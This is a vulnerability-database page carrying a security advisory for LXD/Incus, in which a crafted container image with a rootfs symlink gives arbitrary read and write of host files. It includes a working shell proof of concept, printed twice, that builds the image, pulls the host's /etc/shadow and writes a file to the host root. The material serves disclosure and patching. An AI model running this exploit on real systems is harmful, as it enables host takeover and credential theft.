GHSA-VGHH-5RFX-XHQ8
Vulnerability from github – Published: 2026-11-06 19:36 – Updated: 2026-11-06 19:36Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260630083100-c5184be310b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T19:36:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and\na `rootfs/` entry, but full extraction can later process a duplicate top-level\n`rootfs` symlink. Later, the stopped-container file API opens\n`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to\nit.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem\nwith root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be\nmapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and\ncreate a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.",
"id": "GHSA-vghh-5rfx-xhq8",
"modified": "2026-11-06T19:36:07Z",
"published": "2026-11-06T19:36:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48749"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.